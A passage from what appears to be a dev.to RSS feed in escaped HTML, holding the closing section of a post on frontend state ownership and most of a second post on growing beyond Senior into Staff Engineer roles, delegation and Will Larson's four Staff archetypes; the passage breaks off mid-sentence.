&lt;p&gt;And concentrated complexity is only useful when the boundary remains understandable.&lt;/p&gt;




&lt;h2&gt;
  
  
  This architecture is not perfect
&lt;/h2&gt;

&lt;p&gt;There is no universally correct frontend state architecture.&lt;/p&gt;

&lt;p&gt;If the product is offline-first, local persistence becomes much more important.&lt;/p&gt;

&lt;p&gt;If order tracking uses live events, we need subscription state and reconnection behavior.&lt;/p&gt;

&lt;p&gt;If each feature is independently deployed, microfrontend runtime boundaries change how state can be shared.&lt;/p&gt;

&lt;p&gt;If the backend returns incomplete mutation responses, invalidation may be safer than directly replacing the cache.&lt;/p&gt;

&lt;p&gt;If the application is small, several layers shown here may be overengineering.&lt;/p&gt;

&lt;p&gt;The purpose of this architecture is not to provide a template that everyone should copy.&lt;/p&gt;

&lt;p&gt;It is to make one idea visible:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Good state architecture is less about choosing a state management library and more about choosing the correct owner, lifetime, and source of truth for each piece of information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Libraries can make state easier to store.&lt;/p&gt;

&lt;p&gt;They cannot decide whether that state should exist.&lt;/p&gt;

&lt;p&gt;That decision is still engineering work.&lt;/p&gt;




&lt;h2&gt;
  
  
  A checklist I would use in design review
&lt;/h2&gt;

&lt;p&gt;For every new state value, I would ask:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Who owns this state?&lt;/li&gt;
&lt;li&gt;Is it canonical or only a cached snapshot?&lt;/li&gt;
&lt;li&gt;Can it be derived from something we already have?&lt;/li&gt;
&lt;li&gt;How long should it live?&lt;/li&gt;
&lt;li&gt;Should it survive refresh, tab closure, or device changes?&lt;/li&gt;
&lt;li&gt;Does it belong in the URL?&lt;/li&gt;
&lt;li&gt;Who is allowed to update it?&lt;/li&gt;
&lt;li&gt;What happens when two updates race?&lt;/li&gt;
&lt;li&gt;How does it become stale?&lt;/li&gt;
&lt;li&gt;How do we recover after failure?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If these questions have clear answers, the library choice usually becomes much easier.&lt;/p&gt;

&lt;p&gt;If they do not, adding another store probably will not solve the real problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;A large frontend is naturally stateful.&lt;/p&gt;

&lt;p&gt;The user moves through time, the network is asynchronous, and the server can change independently.&lt;/p&gt;

&lt;p&gt;But that does not mean every component, service, and package should remember things.&lt;/p&gt;

&lt;p&gt;Keep rendering stateless where possible.&lt;/p&gt;

&lt;p&gt;Keep transformations pure.&lt;/p&gt;

&lt;p&gt;Keep transport explicit.&lt;/p&gt;

&lt;p&gt;Put temporal workflows inside clear feature boundaries.&lt;/p&gt;

&lt;p&gt;Give every piece of state one owner.&lt;/p&gt;

&lt;p&gt;The goal is not a stateless frontend.&lt;/p&gt;

&lt;p&gt;The goal is a frontend where state cannot hide.&lt;/p&gt;

&lt;p&gt;I would love to hear how you approach this in large applications:&lt;/p&gt;

&lt;p&gt;Where does basket state live in your frontend?&lt;/p&gt;

&lt;p&gt;And which state management decision became expensive only after the product grew?&lt;/p&gt;




&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Overview" rel="noopener noreferrer"&gt;MDN: Overview of HTTP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.dev/learn/sharing-state-between-components" rel="noopener noreferrer"&gt;React: Sharing State Between Components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanstack.com/query/latest/docs/reference/QueryClient" rel="noopener noreferrer"&gt;TanStack Query: QueryClient&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>architecture</category>
      <category>frontend</category>
      <category>engineering</category>
      <category>state</category>
    </item>
    <item>
      <title>What Comes After Senior? When the Career Path Is No Longer Linear</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Fri, 11 Sep 2026 09:38:12 +0000</pubDate>
      <link>https://dev.to/leopold2/what-comes-after-senior-when-the-career-path-is-no-longer-linear-78g</link>
      <guid>https://dev.to/leopold2/what-comes-after-senior-when-the-career-path-is-no-longer-linear-78g</guid>
      <description>&lt;p&gt;For the first few years of a software engineering career, the path is relatively clear — at least on paper.&lt;/p&gt;

&lt;p&gt;You usually start as an intern.&lt;/p&gt;

&lt;p&gt;Then you learn how to handle small tasks independently and become a Junior Engineer.&lt;/p&gt;

&lt;p&gt;As your experience grows, your technical knowledge gets deeper, and you become capable of owning larger pieces of work, you move toward Mid-level.&lt;/p&gt;

&lt;p&gt;Eventually, your decisions become more mature, you can independently handle complex problems, and you become one of the engineers the team can rely on.&lt;/p&gt;

&lt;p&gt;You become a Senior Engineer.&lt;/p&gt;

&lt;p&gt;Of course, this journey looks different for everyone.&lt;/p&gt;

&lt;p&gt;It might take five years. It might take ten.&lt;/p&gt;

&lt;p&gt;It might happen inside one company, or across several companies.&lt;/p&gt;

&lt;p&gt;But the general direction is usually clear:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;More independence. Harder problems. More ownership. More impactful decisions.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Until one day, you finally become Senior.&lt;/p&gt;

&lt;p&gt;And then a strange question appears:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Okay... now what?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Senior Isn't the End of the Road — But It Might Be the End of the Linear Road
&lt;/h2&gt;

&lt;p&gt;For many of us, the first several years of our careers have a relatively clear destination:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I want to become a Senior Engineer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;But once we get there, the next step becomes much less obvious.&lt;/p&gt;

&lt;p&gt;One piece of advice I often give engineers who have recently become Senior is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't rush to the next level. Fill out your Seniority first.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Getting the Senior title and becoming a mature Senior Engineer don't necessarily happen on the same day.&lt;/p&gt;

&lt;p&gt;If someone gets promoted to Senior inside a company, there is probably strong evidence that they have the technical ability, ownership, and judgment expected at that level.&lt;/p&gt;

&lt;p&gt;But some part of that success is also likely connected to their knowledge of that particular company, product, people, systems, and domain.&lt;/p&gt;

&lt;p&gt;That's why I think there's value in spending some time at this level.&lt;/p&gt;

&lt;p&gt;Experience real production incidents.&lt;/p&gt;

&lt;p&gt;Make decisions that turn out to be wrong.&lt;/p&gt;

&lt;p&gt;See the consequences of an architectural decision six months later.&lt;/p&gt;

&lt;p&gt;Watch a project you thought was simple become complicated.&lt;/p&gt;

&lt;p&gt;Work with different kinds of engineers and teams.&lt;/p&gt;

&lt;p&gt;Experience trade-offs where there is no obviously correct answer in a book.&lt;/p&gt;

&lt;p&gt;Those experiences gradually turn someone who &lt;strong&gt;has the Senior title&lt;/strong&gt; into a &lt;strong&gt;mature Senior Engineer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There's another idea I've had for a while that I call:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Senior in this company" vs. "Senior in general."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's probably worth an entire article on its own.&lt;/p&gt;

&lt;p&gt;But even after you've filled out your Seniority, eventually the same question comes back:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's next?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  From Here, You Have to Start Designing Your Own Career
&lt;/h2&gt;

&lt;p&gt;Recently, I read &lt;em&gt;Staff Engineer: Leadership Beyond the Management Track&lt;/em&gt; by Will Larson.&lt;/p&gt;

&lt;p&gt;One of the ideas in the book strongly aligned with what I've experienced myself:&lt;/p&gt;

&lt;p&gt;After Senior, your career is no longer necessarily a predefined, linear progression.&lt;/p&gt;

&lt;p&gt;If we simplify things a lot, two common directions start to appear.&lt;/p&gt;

&lt;p&gt;One is the &lt;strong&gt;People Management&lt;/strong&gt; track, leading toward roles like Engineering Manager and potentially larger management responsibilities later.&lt;/p&gt;

&lt;p&gt;The other is the &lt;strong&gt;Technical Leadership&lt;/strong&gt; track, with roles commonly called Staff Engineer, Principal Engineer, and similar titles.&lt;/p&gt;

&lt;p&gt;Neither is the "better" version of the other.&lt;/p&gt;

&lt;p&gt;They are different kinds of work.&lt;/p&gt;

&lt;p&gt;The important question is figuring out which type of work aligns with the career you actually want.&lt;/p&gt;

&lt;p&gt;For now, I want to focus on the second path.&lt;/p&gt;

&lt;p&gt;It's closer to the work I'm doing today, and Larson's book helped me put clearer language around several things I had already started experiencing.&lt;/p&gt;

&lt;p&gt;Maybe someday, after more experience and reading on the management side, I'll write about that path too.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Staff Engineer Isn't Just a Stronger Senior Engineer
&lt;/h2&gt;

&lt;p&gt;It's easy to imagine the career ladder like this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Junior → Mid → Senior → Staff&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And from that, assume that a Staff Engineer is simply a Senior Engineer who knows more system design, writes better code, and solves harder technical problems.&lt;/p&gt;

&lt;p&gt;I think this is exactly where our mental model needs to change.&lt;/p&gt;

&lt;p&gt;Until Senior, a large part of our growth is about increasing &lt;strong&gt;our own capabilities&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;At first, we need help completing a task.&lt;/p&gt;

&lt;p&gt;Then we can complete tasks independently.&lt;/p&gt;

&lt;p&gt;Then we own features.&lt;/p&gt;

&lt;p&gt;Then we own larger projects and make more important technical decisions.&lt;/p&gt;

&lt;p&gt;Eventually, we become the person people call when things get difficult.&lt;/p&gt;

&lt;p&gt;And organizations often reward exactly this behavior.&lt;/p&gt;

&lt;p&gt;Hard bug?&lt;/p&gt;

&lt;p&gt;You solved it.&lt;/p&gt;

&lt;p&gt;Production incident?&lt;/p&gt;

&lt;p&gt;You fixed it.&lt;/p&gt;

&lt;p&gt;Important project?&lt;/p&gt;

&lt;p&gt;You owned it.&lt;/p&gt;

&lt;p&gt;Difficult architectural decision?&lt;/p&gt;

&lt;p&gt;Everyone came to you.&lt;/p&gt;

&lt;p&gt;Those behaviors are part of what makes us Senior Engineers.&lt;/p&gt;

&lt;p&gt;But interestingly, &lt;strong&gt;the same behaviors that helped us become Senior can eventually limit our growth beyond Senior.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  From Being the Hero to Creating More Heroes
&lt;/h2&gt;

&lt;p&gt;Imagine that every time there's a difficult problem, you step in.&lt;/p&gt;

&lt;p&gt;You design the solution.&lt;/p&gt;

&lt;p&gt;You take the hardest part of the implementation.&lt;/p&gt;

&lt;p&gt;When production breaks, you save the day.&lt;/p&gt;

&lt;p&gt;Whenever the team gets stuck, everyone waits for you.&lt;/p&gt;

&lt;p&gt;You're probably a very good engineer.&lt;/p&gt;

&lt;p&gt;But there's a problem:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your impact is limited by your own capacity.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are only so many hours in your day.&lt;/p&gt;

&lt;p&gt;This is where I think one of the most important mindset shifts after Seniority begins.&lt;/p&gt;

&lt;p&gt;The question gradually changes from:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"How can I solve this?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"How can I make sure this gets solved well without needing me to be the hero?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That doesn't mean becoming detached from technical work.&lt;/p&gt;

&lt;p&gt;Quite the opposite.&lt;/p&gt;

&lt;p&gt;A Staff Engineer is often one of the most experienced technical people around.&lt;/p&gt;

&lt;p&gt;When production is genuinely on fire, they might be exactly the person who needs to step in.&lt;/p&gt;

&lt;p&gt;The real skill is understanding:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where does my direct involvement create the most value, and where should I let someone else solve the problem?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  A Staff Engineer Needs to Know Where to Spend Their Attention
&lt;/h2&gt;

&lt;p&gt;Imagine production is broken and customers are unable to place orders.&lt;/p&gt;

&lt;p&gt;The risk is high.&lt;/p&gt;

&lt;p&gt;Time matters.&lt;/p&gt;

&lt;p&gt;Your experience could directly reduce business impact.&lt;/p&gt;

&lt;p&gt;This is probably the moment to get involved.&lt;/p&gt;

&lt;p&gt;Now imagine a side project without a particularly strict deadline.&lt;/p&gt;

&lt;p&gt;One of the Senior Engineers on your team can own it.&lt;/p&gt;

&lt;p&gt;It will probably take them longer than it would take you, and they'll need some guidance along the way.&lt;/p&gt;

&lt;p&gt;Maybe you could finish it in three days while they need a week.&lt;/p&gt;

&lt;p&gt;It might still be better &lt;strong&gt;not to do it yourself.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because the outcome isn't only:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Project completed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Project completed + one more experienced engineer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I think one of the underrated skills at Staff level is &lt;strong&gt;allocation of attention&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It's not enough to know how to solve difficult problems.&lt;/p&gt;

&lt;p&gt;You need to understand:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which problems are actually worth solving yourself?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Delegation Doesn't Mean Abandonment
&lt;/h2&gt;

&lt;p&gt;Of course, "let someone else do it" can very quickly become bad delegation.&lt;/p&gt;

&lt;p&gt;If you hand a project to another engineer and come back three months later asking what happened, you haven't delegated.&lt;/p&gt;

&lt;p&gt;You've abandoned the problem.&lt;/p&gt;

&lt;p&gt;I think the amount of freedom and guardrails should depend mainly on two things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The risk of the problem and the experience of the person.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The more critical the problem, the smaller the acceptable failure space.&lt;/p&gt;

&lt;p&gt;We can define clearer acceptance criteria.&lt;/p&gt;

&lt;p&gt;Review the design before implementation.&lt;/p&gt;

&lt;p&gt;Use ADRs for important decisions.&lt;/p&gt;

&lt;p&gt;Define milestones.&lt;/p&gt;

&lt;p&gt;Review the work at specific points instead of constantly hovering over the engineer.&lt;/p&gt;

&lt;p&gt;The goal isn't to check on someone every five minutes.&lt;/p&gt;

&lt;p&gt;It's to control the amount of risk we're delegating based on the engineer's current capabilities — and gradually expand that boundary through experience and feedback.&lt;/p&gt;

&lt;p&gt;A good Staff Engineer doesn't just delegate work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;They increase the organization's capacity to make good decisions.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Maybe One Sign of Growth Is Becoming Less Necessary
&lt;/h2&gt;

&lt;p&gt;There's something slightly paradoxical about this.&lt;/p&gt;

&lt;p&gt;From Junior to Senior, we spend years becoming more reliable.&lt;/p&gt;

&lt;p&gt;A Junior might say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I need help doing this."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A Senior can say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"You can give me this problem. I'll handle it."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But after a certain point, growth starts to look different.&lt;/p&gt;

&lt;p&gt;A Staff Engineer might say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I'll make sure you don't always need me for this problem anymore."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I've started experiencing this more in my own role as well.&lt;/p&gt;

&lt;p&gt;For some projects, we've defined other engineers as owners of freeze and release processes.&lt;/p&gt;

&lt;p&gt;I've shared responsibilities I previously handled directly with stronger engineers on the teams.&lt;/p&gt;

&lt;p&gt;I've also stopped attending some daily meetings.&lt;/p&gt;

&lt;p&gt;Because if a team needs its Lead in the daily meeting every single day just to keep moving, there might be a deeper problem.&lt;/p&gt;

&lt;p&gt;The goal isn't to do less work.&lt;/p&gt;

&lt;p&gt;The goal is to become &lt;strong&gt;less of a bottleneck.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  When Other People Get the Credit, You Might Be Doing Your Job Well
&lt;/h2&gt;

&lt;p&gt;There's also a psychological shift here.&lt;/p&gt;

&lt;p&gt;Until Senior, success is often very visible.&lt;/p&gt;

&lt;p&gt;You built the feature.&lt;/p&gt;

&lt;p&gt;You fixed the bug.&lt;/p&gt;

&lt;p&gt;You designed the architecture.&lt;/p&gt;

&lt;p&gt;Your name is on the PR.&lt;/p&gt;

&lt;p&gt;At Staff level, some of your best work might result in &lt;strong&gt;someone else's name being more visible than yours.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imagine a Senior Engineer owns an important project.&lt;/p&gt;

&lt;p&gt;Maybe you helped establish the initial direction.&lt;/p&gt;

&lt;p&gt;You challenged their design.&lt;/p&gt;

&lt;p&gt;You helped them identify risks.&lt;/p&gt;

&lt;p&gt;You unblocked them a few times behind the scenes.&lt;/p&gt;

&lt;p&gt;But ultimately, they delivered the project.&lt;/p&gt;

&lt;p&gt;I think most of the credit should belong to them.&lt;/p&gt;

&lt;p&gt;Beyond mentorship, a Staff Engineer can become a &lt;strong&gt;sponsor&lt;/strong&gt; for strong engineers around them.&lt;/p&gt;

&lt;p&gt;Give them meaningful opportunities.&lt;/p&gt;

&lt;p&gt;Give them real ownership.&lt;/p&gt;

&lt;p&gt;And when they succeed, help them become visible.&lt;/p&gt;

&lt;p&gt;Because the growth of engineers around you is itself evidence of your impact.&lt;/p&gt;




&lt;h2&gt;
  
  
  From Solution to Outcome
&lt;/h2&gt;

&lt;p&gt;If I had to summarize this whole transition in one idea, it would probably be:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The focus moves from Solution to Outcome.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A strong engineer asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What's the best solution to this problem?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At a larger scope, another question needs to come first:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"What outcome does solving this problem create for the team or organization?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer might be a new architecture.&lt;/p&gt;

&lt;p&gt;It might be a library.&lt;/p&gt;

&lt;p&gt;It might be changing a process.&lt;/p&gt;

&lt;p&gt;It might mean changing ownership of part of the system.&lt;/p&gt;

&lt;p&gt;And sometimes the best engineering decision might be to build nothing at all.&lt;/p&gt;

&lt;p&gt;This shift also expands your time horizon.&lt;/p&gt;

&lt;p&gt;You stop looking only at the current sprint.&lt;/p&gt;

&lt;p&gt;What will the maintenance cost of this decision look like six months from now?&lt;/p&gt;

&lt;p&gt;Are we creating a new dependency?&lt;/p&gt;

&lt;p&gt;Are we increasing a team's autonomy or reducing it?&lt;/p&gt;

&lt;p&gt;Are we actually solving the problem, or just treating a symptom?&lt;/p&gt;

&lt;p&gt;And perhaps most importantly:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does success depend entirely on my own performance, or am I improving the performance of the system around me?&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  So What Does a Staff Engineer Actually Look Like?
&lt;/h1&gt;

&lt;p&gt;This was one of my favorite parts of Will Larson's framework.&lt;/p&gt;

&lt;p&gt;When we say "Staff Engineer," the picture in my head might be completely different from the one in yours.&lt;/p&gt;

&lt;p&gt;Unlike earlier career levels, Staff Engineering doesn't have one universal shape.&lt;/p&gt;

&lt;p&gt;Larson describes four common Staff archetypes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tech Lead, Architect, Solver, and Right Hand.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These aren't strict job descriptions.&lt;/p&gt;

&lt;p&gt;The boundaries aren't perfectly defined either.&lt;/p&gt;

&lt;p&gt;They're better understood as lenses for thinking about the different ways Staff-level impact can show up inside an organization.&lt;/p&gt;

&lt;p&gt;Let's make them a little more concrete.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Tech Lead — Moving a Team or Group of Teams in One Direction
&lt;/h2&gt;

&lt;p&gt;This is probably the most familiar archetype.&lt;/p&gt;

&lt;p&gt;A Tech Lead usually works relatively close to product teams and delivery, but their job isn't simply to take the hardest tasks in the backlog.&lt;/p&gt;

&lt;p&gt;Imagine three teams working on different parts of a large product.&lt;/p&gt;

&lt;p&gt;Each team has its own requirements and deadlines.&lt;/p&gt;

&lt;p&gt;Naturally, each team wants to solve its immediate problem as efficiently as possible.&lt;/p&gt;

&lt;p&gt;But their technical decisions affect each other.&lt;/p&gt;

&lt;p&gt;One team wants to change state management.&lt;/p&gt;

&lt;p&gt;Another wants to split part of the architecture.&lt;/p&gt;

&lt;p&gt;A third needs a new API contract to support its requirements.&lt;/p&gt;

&lt;p&gt;Each decision might make sense independently.&lt;/p&gt;

&lt;p&gt;But together, those decisions could create an ecosystem that's extremely difficult to maintain six months later.&lt;/p&gt;

&lt;p&gt;The Tech Lead doesn't only ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What's the solution for this feature?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They also need to ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"How do we keep these teams moving while keeping the overall technical direction coherent?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They might write an RFC.&lt;/p&gt;

&lt;p&gt;They might review a design proposed by a Senior Engineer.&lt;/p&gt;

&lt;p&gt;They might align two teams around a shared contract.&lt;/p&gt;

&lt;p&gt;They might decide whether a piece of technical debt should be addressed now or deliberately postponed for another quarter.&lt;/p&gt;

&lt;p&gt;And in many cases, they won't be the primary implementer of any of those projects.&lt;/p&gt;

&lt;p&gt;Their impact comes from &lt;strong&gt;direction and orchestration.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This archetype is particularly close to what I've experienced in my own Lead role.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Architect — Stepping Back to See the Larger System
&lt;/h2&gt;

&lt;p&gt;The Architect archetype tends to focus on technical direction at a broader scope.&lt;/p&gt;

&lt;p&gt;Imagine a company with many engineering teams.&lt;/p&gt;

&lt;p&gt;Over several years, every team has made reasonable decisions to solve its own problems.&lt;/p&gt;

&lt;p&gt;One created its own library.&lt;/p&gt;

&lt;p&gt;Another implemented authentication differently.&lt;/p&gt;

&lt;p&gt;Another uses a different observability approach.&lt;/p&gt;

&lt;p&gt;Another developed its own data-fetching patterns.&lt;/p&gt;

&lt;p&gt;None of those decisions were necessarily bad.&lt;/p&gt;

&lt;p&gt;But when you step back, the result might be an ecosystem where changing anything has become expensive.&lt;/p&gt;

&lt;p&gt;The Architect's job isn't to walk in and rewrite everything.&lt;/p&gt;

&lt;p&gt;Instead, they need to ask:&lt;/p&gt;

&lt;p&gt;Where does standardization actually create value?&lt;/p&gt;

&lt;p&gt;Where is variation between teams perfectly acceptable?&lt;/p&gt;

&lt;p&gt;What should be shared?&lt;/p&gt;

&lt;p&gt;What should remain independent?&lt;/p&gt;

&lt;p&gt;How can migration happen without stopping product delivery?&lt;/p&gt;

&lt;p&gt;And perhaps most importantly:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which architectural decision creates the most leverage for the future?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maybe the answer is a shared design system.&lt;/p&gt;

&lt;p&gt;Maybe it's a strategy for migrating away from a legacy architecture.&lt;/p&gt;

&lt;p&gt;Maybe it's standardizing observability across multiple teams.&lt;/p&gt;

&lt;p&gt;Or maybe, after investigation, the answer is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't change the current system.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because the migration cost is greater than the expected benefit.&lt;/p&gt;

&lt;p&gt;A strong Architect isn't the person who creates the most complicated diagrams.&lt;/p&gt;

&lt;p&gt;They're someone who can &lt;strong&gt;balance long-term technical direction with real business constraints.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Solver — Going After Problems That Aren't Easy to Solve
&lt;/h2&gt;

&lt;p&gt;The Solver is probably the closest archetype to the traditional image of an extremely strong engineer.&lt;/p&gt;

&lt;p&gt;But there's an important distinction.&lt;/p&gt;

&lt;p&gt;You don't need a Solver for every difficult bug.&lt;/p&gt;

&lt;p&gt;Solvers tend to work on problems that are simultaneously &lt;strong&gt;important, ambiguous, and technically difficult.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imagine your product's performance has gradually degraded over several months.&lt;/p&gt;

&lt;p&gt;Nobody knows exactly why.&lt;/p&gt;

&lt;p&gt;There isn't one metric pointing to the answer.&lt;/p&gt;

&lt;p&gt;Maybe it's frontend.&lt;/p&gt;

&lt;p&gt;Maybe backend.&lt;/p&gt;

&lt;p&gt;Maybe network behavior.&lt;/p&gt;

&lt;p&gt;Maybe architectural decisions made over the last few years have slowly accumulated.&lt;/p&gt;

&lt;p&gt;Meanwhile, individual teams are busy delivering their own roadmaps, and nobody has enough time or context to investigate the entire problem.&lt;/p&gt;

&lt;p&gt;The Solver enters that space.&lt;/p&gt;

&lt;p&gt;At first, they might not know the solution either.&lt;/p&gt;

&lt;p&gt;They decompose the problem.&lt;/p&gt;

&lt;p&gt;Create better measurements.&lt;/p&gt;

&lt;p&gt;Develop hypotheses.&lt;/p&gt;

&lt;p&gt;Talk to multiple teams.&lt;/p&gt;

&lt;p&gt;Investigate different parts of the system.&lt;/p&gt;

&lt;p&gt;Gradually, they transform an ambiguous problem into something that can actually be solved.&lt;/p&gt;

&lt;p&gt;And here's the important part:&lt;/p&gt;

&lt;p&gt;Once the direction becomes clear, the Solver doesn't necessarily need to implement everything themselves.&lt;/p&gt;

&lt;p&gt;Execution might move to the relevant teams while the Solver moves on to another difficult problem.&lt;/p&gt;

&lt;p&gt;The value of a Solver isn't just &lt;strong&gt;solving difficult problems&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It's also:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turning ambiguous, complex problems into solvable ones.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Right Hand — High Context, High Trust, High-Leverage Problems
&lt;/h2&gt;

&lt;p&gt;This archetype is probably less familiar than the others.&lt;/p&gt;

&lt;p&gt;Imagine a VP of Engineering or Head of Engineering responsible for many teams.&lt;/p&gt;

&lt;p&gt;There are dozens of technical and organizational problems competing for attention.&lt;/p&gt;

&lt;p&gt;They're all important, but that leader obviously can't personally investigate every one of them.&lt;/p&gt;

&lt;p&gt;An experienced Staff Engineer might effectively become that leader's &lt;strong&gt;Right Hand&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For example, leadership notices that delivery across several teams has become slower over the last few months.&lt;/p&gt;

&lt;p&gt;But nobody knows exactly why.&lt;/p&gt;

&lt;p&gt;Is it product planning?&lt;/p&gt;

&lt;p&gt;Architecture?&lt;/p&gt;

&lt;p&gt;Cross-team dependencies?&lt;/p&gt;

&lt;p&gt;Technical debt?&lt;/p&gt;

&lt;p&gt;Unclear ownership?&lt;/p&gt;

&lt;p&gt;The Right Hand might take ownership of investigating this ambiguous space.&lt;/p&gt;

&lt;p&gt;Talk to the teams.&lt;/p&gt;

&lt;p&gt;Gather data.&lt;/p&gt;

&lt;p&gt;Identify recurring problems.&lt;/p&gt;

&lt;p&gt;Figure out where process needs to change, where technical investment is necessary, and where the problem isn't actually technical at all.&lt;/p&gt;

&lt;p&gt;Or perhaps the engineering organization has a major initiative:&lt;/p&gt;

&lt;p&gt;Changing the release process.&lt;/p&gt;

&lt;p&gt;Defining engineering standards.&lt;/p&gt;

&lt;p&gt;Reducing dependencies between teams.&lt;/p&gt;

&lt;p&gt;Leadership provides the overall direction, but someone still needs to turn that direction into real execution.&lt;/p&gt;

&lt;p&gt;That's where the Right Hand can operate.&lt;/p&gt;

&lt;p&gt;This role obviously requires technical ability.&lt;/p&gt;

&lt;p&gt;But perhaps more than the other archetypes, it depends heavily on &lt;strong&gt;context, judgment, and trust.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The problems given to this person rarely have obvious answers.&lt;/p&gt;

&lt;p&gt;Sometimes even the boundary between a technical problem and an organizational problem has disappeared entirely.&lt;/p&gt;




&lt;h2&gt;
  
  
  So Which Archetype Am I?
&lt;/h2&gt;

&lt;p&gt;I don't think we need to choose one archetype and stay there for the rest of our careers.&lt;/p&gt;

&lt;p&gt;Today you might mostly operate as a Tech Lead.&lt;/p&gt;

&lt;p&gt;Then you spend six months leading a large migration and start operating more like an Architect.&lt;/p&gt;

&lt;p&gt;A strange performance problem appears and you temporarily become the Solver.&lt;/p&gt;

&lt;p&gt;As your organizational context grows, you might gradually take on some Right Hand responsibilities.&lt;/p&gt;

&lt;p&gt;You might even operate as a combination of several archetypes at the same time.&lt;/p&gt;

&lt;p&gt;The value of this framework, at least for me, is that it creates a better question.&lt;/p&gt;

&lt;p&gt;Instead of only asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"How do I become a Staff Engineer?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I can ask:&lt;/p&gt;

&lt;blockquote&gt;
